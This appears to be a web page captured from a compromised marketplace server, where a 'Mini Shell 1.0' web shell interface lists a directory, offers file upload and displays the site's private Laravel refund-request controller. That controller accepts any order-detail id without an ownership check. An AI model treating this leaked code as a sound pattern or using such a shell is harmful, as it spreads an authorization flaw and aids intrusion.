HOME


Mini Shell 1.0
Negocios La Pieza.DO | Registrate o Inicia Sesión

¡Página no encontrada!

La página que busca no se encuentra en nuestro servidor.

Volver al inicio
DIR: /var/www/devs.lapieza.net/app/Http/Controllers/Api/V2/
Upload File :
Current File : /var/www/devs.lapieza.net/app/Http/Controllers/Api/V2/RefundRequestController.php
<?php



namespace App\Http\Controllers\Api\V2;



use App\Models\ClubPoint;

use App\Http\Resources\V2\RefundRequestCollection;

use App\Models\OrderDetail;

use App\Models\RefundRequest;

use App\Models\User;

use App\Models\Wallet;

use Illuminate\Http\Request;



class RefundRequestController extends Controller

{



    public function get_list()

    {

        $refunds = RefundRequest::where('user_id', auth()->user()->id)->latest()->paginate(10);



        return new RefundRequestCollection($refunds);

    }



    public function send(Request $request)

    {

        $order_detail = OrderDetail::where('id', $request->id)->first();

        $refund = new RefundRequest;

        $refund->user_id = auth()->user()->id;

        $refund->order_id = $order_detail->order_id;

        $refund->order_detail_id = $order_detail->id;

        $refund->seller_id = $order_detail->seller_id;

        $refund->seller_approval = 0;

        $refund->reason = $request->reason;

        $refund->admin_approval = 0;

        $refund->admin_seen = 0;

        $refund->refund_amount = $order_detail->price + $order_detail->tax;

        $refund->refund_status = 0;

        $refund->save();



        return response()->json([

            'success' => true,

            'message' => translate('Request Sent')

        ]);





    }

}